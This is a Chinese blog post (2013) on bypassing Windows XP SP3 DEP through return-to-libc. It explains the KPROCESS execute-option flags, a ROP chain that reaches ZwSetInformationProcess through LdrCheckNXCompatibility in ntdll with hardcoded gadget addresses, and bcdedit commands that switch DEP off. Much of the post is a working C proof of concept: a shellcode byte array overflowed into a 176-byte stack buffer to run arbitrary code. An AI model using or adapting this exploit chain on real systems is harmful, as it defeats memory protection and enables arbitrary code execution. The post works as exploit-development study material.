zcc1414

博客园 首页 联系 订阅 管理

DEP简要说明  链接·········································


DEP设置标示在KPROCESS 结构中  XP 下

nt!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY
   +0x018 DirectoryTableBase : [2] Uint4B
   +0x020 LdtDescriptor    : _KGDTENTRY
   +0x028 Int21Descriptor  : _KIDTENTRY
   +0x030 IopmOffset       : Uint2B
   +0x032 Iopl             : UChar
   +0x033 Unused           : UChar
   +0x034 ActiveProcessors : Uint4B
   +0x038 KernelTime       : Uint4B
   +0x03c UserTime         : Uint4B
   +0x040 ReadyListHead    : _LIST_ENTRY
   +0x048 SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x04c VdmTrapcHandler  : Ptr32 Void
   +0x050 ThreadListHead   : _LIST_ENTRY
   +0x058 ProcessLock      : Uint4B
   +0x05c Affinity         : Uint4B
   +0x060 StackCount       : Uint2B
   +0x062 BasePriority     : Char
   +0x063 ThreadQuantum    : Char
   +0x064 AutoAlignment    : UChar
   +0x065 State            : UChar
   +0x066 ThreadSeed       : UChar
   +0x067 DisableBoost     : UChar
   +0x068 PowerState       : UChar
   +0x069 DisableQuantum   : UChar
   +0x06a IdealNode        : UChar
   +0x06b Flags            : _KEXECUTE_OPTIONS
   +0x06b ExecuteOptions   : UChar             //_KEXECUTE_OPTIONS
lkd> DT _KEXECUTE_OPTIONS
nt!_KEXECUTE_OPTIONS
   +0x000 ExecuteDisable   : Pos 0, 1 Bit       //DEP开启时置1
   +0x000 ExecuteEnable    : Pos 1, 1 Bit       //DEP关闭时置为1
   +0x000 DisableThunkEmulation : Pos 2, 1 Bit  //为了兼容ATL程序设置的
   +0x000 Permanent        : Pos 3, 1 Bit       //被置1后标示这些标志都不能再被修改
   +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit
   +0x000 ImageDispatchEnable : Pos 5, 1 Bit
   +0x000 Spare            : Pos 6, 2 Bits
真正影响DEP状态是前两位  所以我们要将 _KEXECUTE_OPTIONS 的值置为0x02 二进制为 00000010  就可以将 ExecuteEnable 置为1


程序跳向非可执行代码上   DEP保护下溢出失败

Ret2libc (Return to libc) 原理  :   跳向一个已经存在的系统函数,DEP不会拦截 。

1) ZwSetInformationProcess函数将DEP关闭后再转入 shellcode执行

2)VirtualProtect 函数来将shellcode所在内存页设置为可执行,再转入shellcode执行

3)VirtualAlloc函数开辟一段具有执行权限的内存空间  然后  shellcode复制到这段内存中执行


发现一个技巧:

当我们想要在跳向返回地址之前  做一些小动作,比如 赋值eax,edx,ecx等等  可以将返回地址设置成    下面这种指令的地址

mov eax,1

retn

然后retn  又跳向 第一次返回地址的下面所指地址


这里说明一下Ret2libc的过程

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
  NtCurrentProcess(),    // ProcessHandle = -1
  ProcessExecuteFlags,   // ProcessInformationClass = 0x22(ProcessExecuteFlags)
  &ExecuteFlags,         // ProcessInformation = 0x2(MEM_EXECUTE_OPTION_ENABLE)
  sizeof(ExecuteFlags)); // ProcessInformationLength = 0x4

如果一个进程的 Permanent位没用设置! 当它加载DLL时,对DLL进行DEP兼容性检查,当存在兼容性问题时进程的DEP就会被关闭,为此微软设立了 LdrCheckNXCompatibility函数,当符合下面条件时DEP被关闭:

1  DLL受 SafeDisc 版权保护系统时
2  DLL包含有 .aspcak   .pcle   .sforce 等字节
3  Vista下面 DLL包含在 注册表  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions 键下边标示出不需要启动DEP的模块


(我们目的是jnz跳向 ZwSetInformationProcess 结束DEP保护) 用 OllyFindAddr插件中的Disable DEP 来搜索 下面的地址

7C93CD1F    E8 87FFFFFF     call ntdll.7C93CCAB
7C93CD24    3C 01           cmp al,0x1                      //我们设计跳向这里
7C93CD26    6A 02           push 0x2
7C93CD28    5E              pop esi
7C93CD29    0F84 DF290200   je ntdll.7C95F70E               //将esi 赋值给[ebp-0x44] 
7C93CD2F    837D FC 00      cmp dword ptr ss:[ebp-0x4],0x0
7C93CD33    0F85 F89A0100   jnz ntdll.7C956831              //转向关闭DEP函数ZwSetInformationProcess
7C93CD39    FF75 08         push dword ptr ss:[ebp+0x8]
7C93CD3C    E8 36000000     call ntdll.7C93CD77             //这里没有执行,是检.aspack等检查
7C93CD41    84C0            test al,al
7C93CD43    0F85 E09A0100   jnz ntdll.7C956829
7C93CD49    837D FC 00      cmp dword ptr ss:[ebp-0x4],0x0
7C93CD4D    0F85 DE9A0100   jnz ntdll.7C956831
7C93CD53    FF75 08         push dword ptr ss:[ebp+0x8]
7C93CD56    E8 A6000000     call ntdll.7C93CE01
7C93CD5B    84C0            test al,al
7C93CD5D    0F85 B3290200   jnz ntdll.7C95F716
这里是 ZwSetInformationProcess 函数

7C956831    6A 04           push 0x4
7C956833    8D45 FC         lea eax,dword ptr ss:[ebp-0x4]
7C956836    50              push eax
7C956837    6A 22           push 0x22
7C956839    6A FF           push -0x1
7C95683B    E8 4074FDFF     call ntdll.ZwSetInformationProcess
7C956840  ^ E9 2865FEFF     jmp ntdll.7C93CD6D
7C93CD6D    5E              pop esi
7C93CD6E    C9              leave
7C93CD6F    C2 0400         retn 0x4


那么  必须要  al 为1   并且   ebp可写 (后面要对它写)  并且必须增大ESP (因为有可能在最后retn  4   到错误位置哦)

1 先找 mov eax,0x1 ret   找到得到的地址拿去覆盖掉 函数返回地址

2 那么下面 执行 又返回到了   [esp] 这里是 shellcode 中返回地址下面的一个DWORD  也就是插件找到的第一个地址  LdrCheckNXCompatibility 函数的地址

3 然后执行到  je xxxxxx  里面要对 [ebp-0x4]赋值 那么我们就要 先于2步骤 修正EBP  寻找  push esp pop ebp retn 就可以将ebp定位到一个可写的位置,然后才写入2步骤的地址

4 执行关闭DEP函数后  到达 retn 0x4  就会发现入栈时的数据将shellcode弄坏了············  此时我们想要让ESP和EBP之间足够大,这样关闭DEP过程中的入栈操作就不会冲刷到EBO的范围了 我们用 retn 将ESP增加字节

5  那么上面写的顺序又不对了    先赋值 eax为1  然后  执行3步骤,然后执行4步骤,然后JMP ESP 去执行  ,最后shellcode 放入2步骤的  关闭DEP代码的起始地址

6 最后跳向 shellcode起始地址执行````````````````


关于   各个指令的搜索用   ···········插件完成就行了 

下面是演示 代码: 


#include <stdlib.h>    //XP SP3  OPTOUT VC++6.0 RELEASE版本   XP设置OPTOUT需要重启  禁止优化
#include <string.h>
#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"//168

"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x1d\x99\x95\x7c"	//0x7c95991d  mav eax,1 retn
"\x68\xdc\xec\x77"	//77ECDC68   Found:PUSH ESP POP EBP RET 4 at 0x77ecdc68 修正EBP
"\xAA\xd4\x92\x7c"	//7C92D4AA   Found: RETN 28  at 0x7c92d4aa		增大ESP
"\x33\xbf\x98\x7c"	// at 0x7c98bf33     Module: ntdll.dll			JMP ESP
"\x44\xcd\x93\x7c"	//7C93CD44    ]      Module: ntdll.dll			Found:disable DEP

"\xe9\x33\xff\xff"	//堆栈上显示ffff33e9
"\xff\x90\x00\x00"	//堆栈上显示000090ff
//0012FEC4  ^\E9 33FFFFFF     jmp 0012FDFC
;
void test()
{
	char tt[176];
	memcpy(tt,shellcode,450);
}
int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

DEP函数执行成功  返回0  若错误不成功返回错误码

如果 程序自身设置了  SetProcessDEPPolicy   就能用  NtSetInformationProcess 去关闭程序的DEP了

在命令行下执行命令“bcdedit /set nx alwaysoff”,重启系统后Windows 7的EDP就关闭了。

反之,如果要开启所有服务和应用程序的DEP,执行命令“bcdedit /set nx alwayson”就可以了





posted on 2013-09-15 22:53  zcc1414  阅读(554)  评论(0编辑  收藏  举报